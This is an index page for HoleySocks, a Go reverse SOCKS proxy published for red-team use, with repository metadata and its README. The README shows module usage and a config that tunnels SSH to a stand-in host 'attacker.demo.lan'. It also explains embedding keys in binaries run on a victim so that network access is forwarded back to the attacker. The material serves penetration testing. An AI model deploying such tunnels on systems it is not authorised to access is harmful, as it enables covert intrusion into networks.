Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/audibleblink/HoleySocks
Cross-Platform Reverse Socks Proxy in Go
https://github.com/audibleblink/HoleySocks
golang infosec proxy redteam security-tools socks5 ssh
Last synced: 28 days ago
JSON representation
Cross-Platform Reverse Socks Proxy in Go
- Host: GitHub
- URL: https://github.com/audibleblink/HoleySocks
- Owner: audibleblink
- License: gpl-3.0
- Created: 2018-10-05T00:19:29.000Z (about 6 years ago)
- Default Branch: main
- Last Pushed: 2023-02-25T07:52:40.000Z (almost 2 years ago)
- Last Synced: 2024-05-02T05:30:37.539Z (7 months ago)
- Topics: golang, infosec, proxy, redteam, security-tools, socks5, ssh
- Language: Go
- Size: 62.5 KB
- Stars: 25
- Watchers: 2
- Forks: 11
- Open Issues: 4
-
Metadata Files:
- Readme: readme.md
- License: LICENSE
Awesome Lists containing this project
- cybersecurity-golang-security - holeysocks - Cross-Platform Reverse Socks Proxy in Go. (Encryption)
- awesome-go-security - holeysocks - Cross-Platform Reverse Socks Proxy in Go. (Encryption)
README
# HoleySocks
A cross-platform reverse socks proxy.
## Getting Started
### As a module
```go
import github.com/audibleblink/holeysocks/pkg/holeysocksfunc main() {
//error handling removed for brevity
config := holeysocks.MainConfig{}
configBytes, _ := ioutil.OpenFile("ssh.json")
json.Unmarshal(configBytes, &config)
sshKey, _ := ioutil.OpenFile("id_ed25519")
config.SSH.SetKey(sshKey)
holeysocks.ForwardService(config)
}
```### As a standalone binary
It's required to embed all the parameters needed to start and forward the socks server with SSH.
Do this by creating `config/ssh.json` and using `make````bash
cat < configs/ssh.json
{
"ssh": {
"username": "sshuser",
"host": "attacker.demo.lan",
"port": 22
},
"socks": { "remote": "127.0.0.1:1080" }
}
EOFmake
```
**CAUTION**
The generated private keys are embedded into the binary to allow for the reverse
port forwarding without interaction. Follow the instructions below.Before running the generated binaries, you'll need a user on your attacking machine
for receiving the reverse ssh connection that forwards the socks proxy from the victim.Once that user has been created, (with a homedir and /bin/false shell), append the generated
pubkey in your authorized_keys file on the attacking machine.The Makefile should generate the needed commands and entry for you when you run `make`